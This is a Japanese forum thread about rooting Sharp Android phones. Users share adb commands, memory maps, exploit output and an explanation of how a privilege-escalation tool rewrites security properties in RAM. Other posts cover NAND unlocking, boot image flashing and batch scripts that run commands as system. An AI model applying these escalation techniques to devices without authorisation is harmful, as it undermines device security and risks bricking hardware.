afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
p = 80000000 - 81000000
p2 = AFD50000 - AFE00000
event_type = -268435456
00008000-0000b000 r-xp 00000000 103:06 7502 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7502 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
80000000-81000000 rwxp 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
bebd3000-bebf4000 rw-p 00000000 00:00 0 [stack]
p3 = 81000000
p4 = 81000004
p3 = 2FD0B070
p4 = 2FD0B074
event_type = -268435456
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
C:\Users\R2D2\Desktop\rootest_v3>adb shell ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-25 02:03 recovery_
lrwxrwxrwx shell shell 2012-02-09 06:03 recovery -> /dev/shdisp
これでも端末エミュで＃でないいぃぃぃっぃいぃぃぃぃぃいいいいぃぃぃ
なぜだ！
タイミングは計りながら、ウコンしながら、タバコ吸いながら、コーヒー入れながら
の四種類でマウント解除ダイアログ表示→キャンセル押すを繰り返しております。
ウコンは一回のみ。
おはようございます。
rootestの作成お疲れ様です。
今PCに触れないんで試せてないのですが、
boot.imgの取り出しやバイナリの書き換え、カーネルの書き戻しなどは
INFOBARの.08や.10のバージョンのものなら必要ないということなのでしょうか？
あと、「実行後6へ」と言うのはどういう意味なのでしょうか…？
この完全root化というのはIS03 root switchを使うことよってOFFで非rootになれるのでしょうか…？
素人発言連発で申し訳ございません…
あと、完全root化した後systemが自由に書き換えできるのであればいいのですが、
もし良ければホームアプリがキルされないようにもし良ければ組み込んで欲しいです。
あと、任意のアプリをシステムからキルされなくなるようにする
(キルされても立ち上がるような常駐じゃなくて使ってる間にキルされないようにする)には
system内にどういう書き換えをしたらよろしいんでしょうか…？
いろいろお聞きしてしまって申し訳ありませんもしよろしければ解説の方よろしくおねがいします。
英語できるなら、翻訳をしてあげたらいい、翻訳するっていってもメニューぐらいじゃないかな？
>>132
まずは機種名とバージョンを記載して、goroh_kunの返事を気長に待ってください
>>133>>135
パソコンで
adb shell /data/local/breaksuidshdisp
を実行すると、突然パソコンが再起動するの？
>>78
>>boot.imgの取り出しやバイナリの書き換え、カーネルの書き戻しなどは
>>INFOBARの.08や.10のバージョンのものなら必要ないということなのでしょうか？
6の処理を実行すると、バックアップ→バックアップに日付付与→boot.imgにA01の.08と.10の差分パッチ適用
CRCをチェックしてその他の場合は、適用されない
差分パッチは>>124のboot.imgから作成
その他機種もboot.imgをアップしていただければ、差分パッチを組み込みます
7の処理は
C:\android_backup\boot.imgをリカバリー領域に上書き
8の処理は
C:\android_backup\boot.imgをブート領域に上書き
カスタムROMをC:\android_backup\boot.imgにおいて6実行して起動操作等の動作確認後に7を実行して利用します
>>この完全root化というのはIS03 root switchを使うことよってOFFで非rootになれるのでしょうか…？
rootの機能を利用したい時のみ、ウィジェットでONにします
>>あと、完全root化した後systemが自由に書き換えできるのであればいいのですが
差分パッチは、reademeの「boot.imgの変更方法」を適用したboot.imgになりますのでsystemも書換え可能です
一応確認して報告お願いします
>>もし良ければホームアプリがキルされないようにもし良ければ組み込んで欲しいです
2chに記載されている手順をスクリプト（windows系）にする知識しかないので無理です
linuxの知識はありません
どなたかが作ってくれるか、既にそういう情報があるなら組み込みます
>>system内にどういう書き換えをしたらよろしいんでしょうか…？
linuxの知識が無いのでわかりません
いきなりINFOBARでの動作確認が報告されたりしてるの？
いないパソコンで..突然 sh-01d 再起動するの.."
http://iup.2ch-library.com/i/i0558698-1328752985.png
>>disableにしたものだけの一覧とかを表示させたりはできないのでしょうか？
adb shell pm /?
マニュアルが表示されます
pm list packages [-f] [-d] [-e] [-u] [FILTER]
The list packages command prints all packages, optionally only
those whose package name contains the text in FILTER. Options:
-f: see their associated file.
-d: filter to include disbled packages.
-e: filter to include enabled packages.
-u: also include uninstalled packages.
adb shell pm list package -d
-dで実行するとdisbled一覧になります
＃機は基本的にroot化の方法は全て同じだからです
goroh_kun(神)SH-12Cのrootkitが他の＃機でも使えているのです
＃同士の他機種でもバージョンが同じならrootkitの動作にも共通部分があります
package:jp.co.sharp.android.settingDefaultHome
結果このスレがシャープ機全体の情報交換の場となるのも仕方ないかも知れないが、
純粋にSH-01Dのroot化について知りたい人にとっては関係ない情報が散乱しててわかりにくいねぇ
とりあえずSH-01Dユーザー的には、
ビルド番号01.00.03のSH-01Dでは>>130のワンクリツールではroot化不可で、
>>70と>>77に書いてる他のツールを正座して待ってろって感じでいいのかな
あ、ちなみに自分も>>130ではroot化できませんでした
ご回答ありがとうございます。
試してみましたが、７のboot.imgをリカバリー領域に書きこんで再起動のところをやると、
ロゴは表示されますが、その後すぐにドロイド君とその上に三角に！の警告マークが出るだけで
そこで止まってしまいます。
書きこまれたカーネルが異常ということなのでしょうか…？
あと、gscriptフォルダにautoexec.shを書き込むところが正常に出来なかったので、そこは手作業で行いました。
どうかアドバイスをお願いします。
ttp://anago.2ch.net/test/read.cgi/smartphone/1328256807/377
>>146
ワンクリツールを作ると初心者の質問が多くて情報量が増え錯乱してわかりにくいと言う事だと解釈したので
↑の初心者スレに移動します
>>70と>>77に書いてあるツールと思われるbreaksuidshdisp 2012年2月7日、22:14:00を
v3,v4にて利用させていただいております
v2は>>67を利用させていただいております
SH-01Dのバージョンは何でしょうか？
SH-01Dの前回公開kernelソースコードでは利用可能と思われています
>>147
過去スレみるか、ROM焼き（Linux使い向け）じゃないA01スレ（初心者向け）で回答します
申し訳ありません
個人的には、シャープ機はエクスペリアと違い、中身一緒でデザインが少し違う機種が多くありすぎるので
ROM焼き情報が各スレ分散されている状況なので、
【ROM焼き】シャープ端末総合【SH-01D】【IS13SH】【102SH】
3キャリアの売れ筋の機種をスレ名に入れて統一したスレを作成し
シャープ機を使っていてROM焼きに貢献できるLinux使いの情報を一か所に集まる事が理想です
！とドロイド君が表示されてるってことはrecovery領域にカーネルが焼けてないってことですよ
recovery領域にカーネル焼きが成功してるならreboot recoveryをしても通常起動するはず。
あと、recovery領域にboot.imgを焼いた状態で本体の初期化を行うと文鎮化します
ありがとうございます。
何度やっても
error writing recovery: No space left on device
と出て書き込めません…
何かいい方法はないのでしょうか…？
初期化して文鎮～のパターンって、全部リカバリーを元の物に焼き直せば100％無いですか？？
それは文鎮とは言わん
SH-01Dのカーネルバージョンは2.6.35.7+、ビルド番号は01.00.03です。
>>111で書かれてるのが最新のbreaksuidshdispだと思うんですが、それを使ってSH-01Dでroot取得出来たって報告まだないですよね。
それとも自分のやりかたがおかしいだけで、SH-01Dでもできてるのかな？
なんでですか？
初期化して自動リブートかかったらdocomoのロゴからずっと進まないのは文鎮じゃないんですか？
ワンクリック本当にありがたいからここでもよくね？
ああ、ゴメン読み違えてた
初期化する前にってことか
A01のROM化スレにも書きましたが、
error writing recovery: No space left on device
の原因は、nandがunlockされていないことによるものでした。
お騒がせして申し訳ありません…
新たなnandunlockshspampが作られるまで待つしかなさそうです…
カーネルバージョン 2.6.35.7+
ビルド番号 01.00.03
今までできたと言っている方々はすべて
SH-01D ではないという事でしょうか？
同じnandだから…
ほとんどの人がルートとれたみたい
【ROM焼き】SH-03C rootスレ【SDブート】
http://anago.2ch.net/test/read.cgi/smartphone/1325216620/
わざわざありがとうございます。
一通り読んでみましたが自分にはさっぱりでした。
協力していただいたのにすみません…
nandunlockshspampしたときに「f=3」っていうの何回表示された?
自分も言える立場しゃないけど初心者なら止めた方がいいかも、一回文鎮しちゃった身だから言うけどね…
いちおこのサイトも
http://donder7.blog.fc2.com/blog-entry-66.html
f=3が３回です。
中古の他の機種のスマホでも買ってきて、一回試してみればいい
そこはまちがってる
nandinfocalc recovery
としないとだめだ
と言うことは、recoveryじゃ無くてbootをやっちゃったということだから
この状態だとbootのnandは外れてるの？
bootアンロックは危険じゃ…
違う違う
nandinfocalcは今起動してるカーネルのイメージを指定してあげると
nandlock関係の構造体のアドレスを計算してくれる
つまり今bootからカーネル起動しているなら「boot」、recoveryからなら「recovery」を指定してやら無いとだめだ
そのアドレスをnandunlockshspampに引数で渡すとnand書換え不可→可に構造体の情報を書換えてくれる
nandunlockshspampは何種類か有って、f=3が3回表示されるやつはboot/recovery/systemの3つのnandlockを解除するタイプだ
残念ながらどっちをやっても結果は同じだった…
# ./nandinfocalc recovery
./nandinfocalc recovery
Opening /dev/ubi2_0... Done.
Reading... Done.
Searching...
0xc085109c
0xc08a3028
found: 0xc08a3028.
# ./nandinfocalc boot
./nandinfocalc boot
Opening /dev/ubi1_0... Done.
Reading... Done.
Searching...
0xc085109c
0xc08a3028
found: 0xc08a3028.
私もSH-01Dのカーネルバージョンは2.6.35.7+
ビルド番号は01.00.03ですが、何度やっても成功した事がありません
そういう意味でしたか失礼
もう一度nandunlockやってみたんですけど結果は以下のようになりました
# ./nandunlockshspamp 0xc08a3028
./nandunlockshspamp 0xc08a3028
addr = 0xc08a3028
Is this addr correct? (y: continue)
y
y
f=3
f=3
f=3
これはunlock成功ということでよろしいのでしょうか？
F=3ということは/dev/sh_spampのroオープンまではうまくいっているみたい
でもそれ以上のことはわからない
sh_spampのセキュリティホールが塞がれてるのかな?
nandunlockshspampのmain.cのclearflag_nandの中で書換え前後の値をprintfすれば判るんじゃないかと
残念ながら今使用してるPCにcをコンパイルする環境がないんで
今回のところはここで諦めることにします。
いろいろアドバイス下さり有難うございました。
神様がまだここ見てて01Dのroot化に興味持ってくれればいいけどね。
変に他機種でのroot化がこのスレで話題になったから、もうSH-01Dについてはroot化できてるものだと思われてて解析とかもしてなさそう。
あれは完全に割り込みだよなw
Twitter見てないの？
今SH-01Dは苦労してて投げ出したいって意味の書き込みがされてるんだから
今まさにgoroh_kun様はSH-01Dにとりかかってる最中だぞ
もうしばらくの辛抱だ
さすが目の付け所だけはシャープだな。
不具合だらけのゴミ端末ｗｗｗｗｗ
涙拭けよ( ´艸｀)
AQUOS PHONE 104SH
http://www.youtube.com/watch?v=cNj8Yonwdp0
104SHのホーム画面
http://www.youtube.com/watch?v=ZTIdiQch0TA&feature=youtube_gdata_player
ある意味、神端末だったなｗｗｗｗｗ
情弱は来るなよ
見た目サクサクなら他は無視して、goroh_kun様対策だけしているわけだ
Twitter見もせずに適当なこと書いてしまった・・・orz
持ってもいない機種の解析を苦労してまで進めるって、まさに神様だなぁ
義務感みたいな者を持ってるならなおさら、たとえ単に知的好奇心からだとしても、おこぼれをあずかるだけの身としては本当に頭が上がらないです
君がスレを読く理解していないことは>>139で予測し>>146で確定させてもらった
>>111＝v3-4で使用しているbreaksuidshdisp 2012年2月7日、22:14:00
いきなり、rootkit完成ってなるわけじゃないから
rootが取れそうな手順を神が試行錯誤して、rootkitのテストを我々が行って
その結果を神へ報告し
神が試行錯誤してrootkit2をリリースし、また我々がテストを行って
成功報告が上がって初めてrootkitが完成するんだよ
今は、テスト段階でrootkit完成していないので、我々ができる事は
人柱になって神の支持通りのテストをする事です
１の操作（一時root取得）段階で
C:\Users\R2D2\Desktop\SH-01D\rootest_v4>adb push autoexec.sh /mnt/sdcard/gscript/
autoexec.sh
failed to copy 'autoexec.sh' to '/mnt/sdcard/gscript/autoexec.sh': Not a directory
上記が表示される
連投スマソ
http://iup.2ch-library.com/i/i0559586-1328813654.jpg
通りすがりのものです
これ試してみてもらえますか?
ttp://ll.la/p,d5
ご協力いただきありがとうございます。
どう使うのかよくわかりませんでしたが、
#./nandunlockshdisp boot
とやった結果は以下のようになりました。
ttp://2sen.dip.jp/cgi-bin/upgun/up6/source/up2523.txt
これでよろしいでしょうか…？
あ、nandunlockshspampと同じく、引数はnandinfocalcで出たアドレスで
間違えてしまい申し訳ありません…
やり直してうｐしました。
ttp://2sen.dip.jp/cgi-bin/upgun/up6/source/up2524.txt
これでよろしいでしょうか…？
失礼しました
shdispの脆弱性がそのまま使えるかなと思ったのですが、よく見てみると任意の数値の書込みは出来ないですね
安全のため再起動しておいてください
ここら辺りはガッチガチですなぁ
crw-rw-rw- system cache 247, 0 2012-02-10 18:31 boot_daemon_drv
C:\>adb shell /data/local/shbootgetroot
mmap base=80000000 length=1c000000
[1] Segmentation fault /data/local/shbo...
あれ、やり方間違えてるのかな…？@SH-01D最新FW
>>195は無視して下さい。
boot_daemon_drvが666になるまでは確認できてるんだけどなぁ。
なにか間違ってるのかな？ もうちょっと勉強してきます。
人が少ないから宣伝にならないからと言って本スレでroot化の話しは迷惑ですので辞めてくださいアフィカスさん
252 ：SIM無しさん：2012/02/07(火) 09:36:15.56 ID:H/7odk+9
infobarのroot化で可能になる事
・カメラ無音
・テザリング
・プレインアプリ停止で電池持ちアップとサクサク動作（istweak、autostarts）
・バッテリーアイコン100％表示可能
最新バージョンの01.00.10で成功するっぽい
>>188
契約後に電話で157→0でオペ子に「お客様コード」を聞く
↓でサポートIDの新規登録で電話番号、暗証番号、お客様コードを入力してID取得
ttps://cs.kddi.com/
253 ：SIM無しさん：2012/02/07(火) 09:41:19.85 ID:H/7odk+9
infobarは、rootとってプレイン停止すると電池もちも良くなり動作も標準状態よりかなりサクサクになるよ
設定→アプリケーション→実行中のサービス
不要なプレイン停止後RAMは150MB空き
停止前は40MB空きで動作も超モッサリでバッテリーも持たなかった
今は24時間以上持つよ
ttp://anago.2ch.net/test/read.cgi/smartphone/1328256807/252-253
あなた、不自然ですね
あちこちのスレでroot化の話題かましてて宣伝容疑で通報も視野に入れてます。
本スレでroot化の話しはおやめくださいませ。
ここではルール守っててインフォバースレでは荒らすなんて最低ですね。
INFOBAR A01 by iida part45
http://anago.2ch.net/test/read.cgi/smartphone/1328256807/322
322 ：SIM無しさん：2012/02/08(水) 17:02:00.29 ID:nBbMM5Pj
infobarをパソコンに例えると
infobar=古いパソコン状態で処理能力不足かつバッテリー容量も最弱レベル
●非root
ボロイパソコンに無理やりに、プレインストールアプリがどっさり入っていて、超重い
しかも、パソコンと違ってアンインストールできないし
弄れるのは壁紙とか見た目だけ
なぜか＃製公式スパイウェアが入っていて、メールやウェブの履歴を監視している
プレインとスパイウェアのおかげでバッテリーは半日でなくなる
●root
ボロイパソコンから、使わないアプリをアンイストールや停止でき、サクサクになる
壁紙だけでなく、自由に設定が可能になる
もちろん、公式スパイウェアも削除可能
バッテリー持ちは公式スペック通りとは言わないが、バッテリーも3日は持つ
連続待受時間(国内) 約220時間(Wi-Fi機能未使用時)
メモリ空も40MBが150MBなりかなり快適にアプリが動作可能
▼root化に関する話題は以下のスレへ
【ROM焼き】au INFOBAR A01
http://anago.2ch.net/test/read.cgi/smartphone/1323829996/
ルールを守ってください 私はアフィカスアスペ自治厨と戦います
こいつはroot化スレがあるにも関わらずスレ違いを承知で本スレで宣伝するアフィ乞食です。
２ちゃんねるなどではアフィカスとして嫌われてる人種ですので決してツールを利用したり
貼られたリンクを踏んだりするのは辞めて下さい。
平日の昼間っから必死に書き込んでいる所を見るとこの稼ぎがかなりの重要源になると考えます。
こいつの理由付けに過ぎません。 真の目的はアフィ乞食です。
アフィカスはあらゆる手段でリンクを踏ませよう、ツールを使わせようとうまいこと言ってきます。
そういう連中への対抗策はただ一つ リンクやツールを絶対に利用しないことです。
宣伝の数が多いので同一人物によるマルチ宣伝行為とみなして運営への通報も視野に入れてます。
我々はアフィカスを断固として許しません！！！
INFOBAR A01 by iida part45
361 ：SIM無しさん：2012/02/09(木) 02:00:31.97 ID:zaWyHLDR
完全root取れるワンクリツールを作ったので解凍して良かったら利用して下さい
ttp://anago.2ch.net/test/read.cgi/smartphone/1328256807/361
INFOBAR C01 by iida part2
ttp://anago.2ch.net/test/read.cgi/smartphone/1327742327/
634 ：SIM無しさん[sage]：2012/02/09(木) 11:36:48.03 ID:zaWyHLDR
完全root取れるワンクリツールを作ってみた
リネームし解凍してご利用下さい
641 ：SIM無しさん[sage]：2012/02/09(木) 15:48:53.38 ID:zaWyHLDR
ワンクリツールv4に更新
サイトURL
INFOBAR A01 by iida part45
377 ：SIM無しさん[sage]：2012/02/09(木) 15:47:49.39 ID:zaWyHLDR
完全root取れるワンクリツール更新
サイトURL
ttp://anago.2ch.net/test/read.cgi/smartphone/1328256807/377
ttp://qb5.2ch.net/test/read.cgi/sec2chd/1328313654/l50
アフィカスをマルチ宣伝で通報のご協力お願いします。
そのプロテクトを解除する行為は違法になる可能性もあるのか…う～む
違反になるとわかっててアチコチにこのアスペ君は貼りつけてたのか悪いやっちゃな
こりゃ通報もんだな。
サイバーポリスにまた相談してくる。
root化スレあるとわかってて本スレに来るんだもんなこいつ
こっちではちゃんとroot化スレにいるし、本スレの方が人が多いから宣伝しやすいと思ったんやろｗｗ明らかにわざとやな。
敵を作りすぎるとヤバイぞ君・・・通報されまくりクリスティやがなｗ は
565 ：SIM無しさん：2012/02/11(土) 05:54:17.92 ID:3IffwM9y
頼みもしないroot化キットを押し売りされて何が入っているのやら
ちなみにプロテクトを解除する行為は改正不正競争防止法に違反する可能性もあるので
通報すれば良いんじゃないかな
今のトレンドはこの辺り
不正指令電磁的記録作成罪
不正指令電磁的記録供与罪
他にも
電子計算機損壊等業務妨害罪、偽計業務妨害罪、器物損壊罪、電磁的記録毀棄罪、信用毀損罪、業務妨害罪等
とか、結構簡単に適用できちゃうから気を付けてね（はぁと
SH-01DのRoot化は神に祈るしか無いね
プリインアプリがどっさり付いてくると思うけどな
…え
mmap base=80000000 length=1c000000
notfound prop area
[1] Segmentation fault /data/local/shbootgetroot
何回やっても上の表示が出るんだけど, 誰かアドバイスお願いします.
機種: SH-01D
ビルド番号: 01.00.03 (最新版)
手順はこんな感じ.
http://www.dotup.org/uploda/www.dotup.org2623486.txt.html
お前もroot化手伝えよ、走らせることくらいしろ
http://twitter.com/goroh_kun/status/167874373871607809
自分はまったく同じ手順でこうなった
$ /data/local/shbootgetroot
/data/local/shbootgetroot
mmap base=80000000 length=1c000000
[1] Segmentation fault /data/local/shbootgetroot
>>210の3行目がないけど、結局root化はできてない
アドバイスとかはできないけど
実機がないため、どこで落ちてるか分からないんですよね・・。
ソースコード見て分かる方デバッグできないですかね。
やってることは、
(1)mmapでSystem RAM領域をマッピング(/proc/iomemから領域は取得)
(2)System RAM内からandroidのプロパティー領域を検索
(3)プロパティー領域から、ro.secureとro.debuggableを探して値書き換え
です。
(1)がまず成功しているかどうか、mmapが成功しているか？
メモリをダンプして見れば分かります。
(2),(3)はmmapさえ成功したらproperty書き換えは
やり方の１つであって、どんな方法でもroot取得は出来ると思います。
もっと手っ取り早い方法を公開してもらっても良いですし・・。
端末持ってて、ある程度linux出来る人なら、すでにやるだけ状態に
なってると思いますよ。
Google先生を頼りに、shbootgetroot前後でメモリの内容に変化があるか調べようとして、
$ cat /proc/iomem
～(略)～
80000000-9bffffff : System RAM
80049000-80762fff : Kernel text
80764000-80882feb : Kernel data
a0100000-a7ffffff : System RAM
a8000000-bfffffff : System RAM
$ dump memory /data/local/kernel.dump 0x80000000 0xbfffffff
dump: permission denied
ってやってみたけど、うまく出来なかった。
このスレに、Linux詳しい人いない？
持ってない機種なのにありがとう
自分にもう少し知識があれば…無念
ズンズンチャチャ
ズンズンチャチャ
保！
残念
暗に報道されたから、このスレの意味はなくなったという事
また不具合の悪寒
oncmd.shに
echo pm disable パッケージ名 > /data/local/oncmd.sh
して、例のshdisphookを利用すれば、いらないパッケージの凍結は
出来るはずです。
おっしゃる通りパッケージ凍結できました。
プリインアプリも凍結できて、
echo 'pm enable パッケージ名' > /data/local/oncmd.sh
で復活できることも確認。
真っ先にパレットUI凍結してやったｗ
具体的にどうすればいいの？
俺も224の方法でパレットUI凍結できたんですが
iチャネルとかマチキャラはしつこく復活します・・・。
こいつらは同じ方法じゃ無理なんでしょうか？
夜中やったもんでsystem権限とらずにやってた
解決しました
echo 'chmod 777 /cache' > /data/local/oncmd.sh
のところでpermission deniedがでてしまう。
何処が間違ってるんだろう…
とりあえずプリインの凍結して気分スッキリ！
gorohさん本当にありがとう！
oncmd.shをパソの方で編集して、
バッチファイルでpushやらadbやら自動実行して使わせてもらってます
バッチファイル下さい。
このとおりです。お願いします。（句読点もつけました
rm -r /cache/recoveryが成功しない…orz
ちゃんとパーミッションは /cacheが777 /cache/recoveryが666になってるんだがなあ…。
やっぱまずそこだね
>>232
たいしたことしてないよ？
上の方にあったバッチからroot関連を除いて簡略化しただけのものだし
今日帰ったらもう少し内容整理するつもりだけど
android sdkは入ってて adbは使える状態？
その後も問題なく使えてるし、なんなんだろうなホントに・・・
勝手に情報収集とか気持ち悪いなぁ
sdk入ってるPATHも通ってるadbの使い方ワカンネ
rootest.v4bまでは一度走らせたけど
so-01bでゴロさんはお世話になった2.3入れられたのもゴロさんの（ｒｙ
そしたら道のりはもう遠くない。
1. 本体の設定でアプリケーションの管理から開発を選んでデバッグモードにする
2. shdisphookのダウンロード
http://goo.gl/Bs6Iq
の右上にある「元のファイルをダウンロード」で、shdisp_onloadhook.zipを落としてきて解凍する
3. shdisphookのインストール
"shdisphook.bat"など適当な名前でバッチファイルを作成して以下の内容をコピペ
--------------------------
adb push onload.sh /data/local/
adb push libsdservice_jni.so /data/local/
adb push shdisphook /data/local/
adb shell chmod 755 /data/local/onload.sh
adb shell chmod 755 /data/local/shdisphook
adb reboot
adb wait-for-device shell /data/local/shdisphook
pause
--------------------------
コマンドプロンプトでshdisphook解凍先のディレクトリをカレントディレクトリにして、上記のshdisphook.batを実行。
コマンドプロンプトで「続行するには何かキーを押してください」と出るまで待つ。
4. oncmd.shの作成および実行。
shdisphookのreadmeではechoコマンドを使ってoncmd.shに実行コマンドを書き込むように
書いてあるが、自分の場合それではうまくいかなかった。
まず、空の "oncmd.sh"というテキストファイルを作成し、その中にsystem権限で実行したいコマンドを書いていく。
プリインのアプリをdisableして凍結したい場合は
"pm disable [package name]"などのように書く。
たとえば、ichannelなら
pm disable jp.co.nttdocomo.ichannel など一行に一コマンドずつ書いていく
PC側のコマンドプロンプトで
adb pull 作成したoncmd.shのパス /data/local/oncmd.sh
adb shell chmod 755 /data/local/oncmd.sh
とそれぞれ打ち込む。
これで準備完了。
端末側の設定→microSDと端末容量→microSDのマウント解除 を選択すると 先ほど導入したoncmd.shが
実行される。マウントを解除するかどうかダイアログが表示されるので、これはキャンセルしてかまわない。
地図ナビウィジェット
pm disable com.nttdocomo.android.dmapnavi.widget
マチキャラ
pm disable com.nttdocomo.android.mascot
パレットUI
pm disable com.nttdocomo.android.paletteui
パレットUI壁紙（？）
pm disable com.nttdocomo.android.paletteui.wallpaper2_1280x720
docomo dcm wap push helper
pm disable com.nttdocomo.android.pf.dcmwappush
トルカ
pm disable com.nttdocomo.android.toruca
iチャンネル
pm disable jp.co.nttdocomo.ichannel
シャープ謹製スパイウェア
pm disable jp.co.sharp.android.lifelog.database
docomo地図ナビアプリ
pm disable jp.dmapnavi.navi
デコモジマネージャー
pm disable jp.co.omronsoft.android.decoemojimanager_docomo
ミュージックプレーヤー
pm disable arcsoft.android.musicplayer
以下は docomo電話帳を使っていて、docomoサービスとリンクしている場合は切っちゃいかん
gmailなどグーグルサービスと同期していたり、exchangeとactivesyncで同期している場合は
関係ないので切ってよし。
電話帳コピー
pm disable com.nttdocomo.android.phonebookcopy
電話帳ウィジェット
pm disable com.nttdocomo.android.phonebookwidget
スケジュールとメモ
pm disable com.nttdocomo.android.schedulememo
スケジュールとメモ（ウィジェット）
pm disable com.nttdocomo.android.schedulewidget
不明だけど今んところもんだいない。
pm disable com.nttdocomo.android.socialphonebook
pm enable [原因のパッケージ名] と書き換えて再度手順を実行すれば
凍結したアプリを再度利用できるようになる。
情報あったらよろ～
「続行するには何かキーを押してください」まで到達できないことが多いけど
タイミング的なものでもあるんかね？何度かやったらうまくいく。
気のせいかもしれんが安心スキャンでリアルタイムスキャンにしてるとうまくいく確立あがるような
確かに。shdisphookがなぜか失敗することがあるね。でも、結構時間かかるので、端末起動後数分は様子見た方がいい。
それでもだめなら、ctrl +cでバッチを中断して、3番目のshdisphook.batの実行からやり直し。
ありがとう
きっと今日明日中に良い事あるとおもうよ
愛してる
うまくいくときはすぐ成功するじゃない？
だから先に進んでないときは失敗なんだと思ってた
数分か・・・昨日は気持ちが焦って待てなかったな（笑）
全然止めれないや…
adb pull 作成したoncmd.shのパス /data/local/oncmd.sh
↓
C:\Users\R2D2\Desktop>adb pull C:users\R2D2\Desktop\oncmd.sh /date/local/oncmd.s
h
remote object 'C:users\R2D2\Desktop\oncmd.sh' does not exist
いやデスクトップにあるって
おんなじのをshdisp_onloadhookにも入れたって
ttp://iup.2ch-library.com/i/i0567707-1329496127.png
ローカルファイルのパスにルート（\）がないよ。
c:users....になってるけど。c:\usersでは？
あああ！！すまん！
俺の間違い。
手順4の
adb pull 作成したoncmd.shのパス /data/local/oncmd.sh
はadb pull ではなくて、adb pushだった！
すまないことをした。
com.nttdocomo.android.atf
調子に乗って凍結しまくったら起動時にandroid.process.acoreのエラー出るようになった
俺もacoreの強制停止起こったけど、特に問題なかったし、適当に放置してるうちに起こらなくなったわ。
SH-01D の方でできてる方おられますか？
240のリスト上半分をoncmd.shに書き込み、
239の手順で実行するも、まったくkillできてないです。
エラー吐いたり、失敗してるようには見えないのですが・・・
カーネルバージョン 2.6.35.7+
ビルド番号 01.00.03
240のリストをoncmd.shへ書き込み
239の手順を 250に従いadb pushへ変更し実行では
できていません。
SH-01D
カーネルバージョン 2.6.35.7+
ビルド番号 01.00.03
SH-01D
カーネルバージョン 2.6.35.7+
ビルド番号 01.00.03
で出来てる。
基本に戻って手書きでやってみたらどうか
ご指摘トン
〉〉250
いいんだよ
出来たし
感謝してる
所で凍結したかどうかはどこで確認できんの？かなり動作が高速化してバッテリーのもちが良くなったからちゃんと出来たと勝手に思ってるんだけど
再起動してアプリケーションの管理でiChannelが死んでるようなら成功してんじゃね？
まずは、最初のバッチファイルの出力をテキストに吐いてそれをうぷしてみ。
コマンドブロンプトンで
shdisphook.bat > c:\output.txt
みたくして、output.txtに出た出力結果を。
では、言われたとおりにoutput.txtにしました。
C:\shdisphook>adb push onload.sh /data/local/onload.sh
C:\shdisphook>adb push libsdservice_jni.so /data/local/libsdservice_jni.so
C:\shdisphook>adb push shdisphook /data/local/shdisphook
C:\shdisphook>adb shell chmod 755 /data/local/shdisphook
C:\shdisphook>adb reboot
C:\shdisphook>adb wait-for-device shell /data/local/shdisphook
C:\shdisphook>pause
続行するには何かキーを押してください . . .
このあとmicroSDのマウント解除のダイアログだしてキャンセルってのやってる？
それでまずはSystem権限取得するの。
で、その後でoncmd.shでアプリ凍結。
まずはsystem権限とらないと凍結はできないよ。
adb wait-for-device shell /data/local/shdisphookが
なかなかうまく実行されなくて苦戦するけど・・・
なんか良い方法ないんだろうか
>266 さんも言ってる、microSDのマウント解除ダイアログの表示はやってます？
また、凍結がうまくいっていないと判断した理由は、再起動後も、起動し続けているってことですか？
凍結だけで満足しようとしてた！
microSDのマウント解除ダイアログの表示後再起動しても
無効化した筈のマチキャラが立ち上がってます。
chmod 777 /cache
chmod 666 /cache/recovery
の2行入れてみて。
またPC側のコマンドプロンプトでで、
adb shell ls -l /data/local > c:\output.txt
と打って、output.txtの内容をうぷしてみてちょ
（c:\output.txt は自分の好きなパスでいい。 )
関係ないよ。オレ使ったことないす
>>270
system権限とるときと、アプリ無効化のときで
計２回マウント解除のダイアログ出すってのは理解できてる？
せっかくsystem権限とれても再起動しちゃったら何にもならないから
そのままoncmd.shの作業な。
system権限の確認は adb shell ls -l /data を実行して
ファイル一覧が出ればOK
adb shell ls -l /data/local は 以下になります。
drwxrwx--x shell shell 2012-01-21 02:56 tmp
-rwxr-xr-x shell shell 11520 2012-02-07 22:14 breaksuidshdisp
-rwxr-xr-x shell shell 33 2012-02-02 04:46 onload.sh
-rw-rw-rw- shell shell 10932 2012-02-02 04:18 libsdservice_jni.so
-rwxr-xr-x shell shell 593 2012-02-02 06:44 shdisphook
-rwxr-xr-x shell shell 484 2012-02-19 01:17 oncmd.sh
-rw-rw-rw- shell shell 593 2012-02-02 06:44 pause
system権限の取得は onload.shがjni呼び出しの時に呼ばれるから
microSDのダイアログは2度表示する必要は無いと思うけど。
むうう、見る限り問題ないなあ。。。
きになるのは、なんで/data/local/に pauseなんていうファイルができてるんだろう。
最初にPC側で実行するバッチファイルが間違っている？？？
「設定アプリケーションからmicroSDのマウント解除のダイアログを
出した時点で/dataのパーミッションが777になります」って書いてあるけど
違うんだ（＾＾； ゴメン
>>273
oncmd.sh の中身は何て書いてる？
adb shell cat /data/local/oncmd.shってやってみて
pm disable com.nttdocomo.android.dmapnavi.widget
pm disable com.nttdocomo.android.mascot
pm disable com.nttdocomo.android.paletteui
pm disable com.nttdocomo.android.pf.dcmwappush
pm disable com.nttdocomo.android.toruca
pm disable jp.co.nttdocomo.ichannel
pm disable jp.co.sharp.android.lifelog.database
pm disable jp.dmapnavi.navi
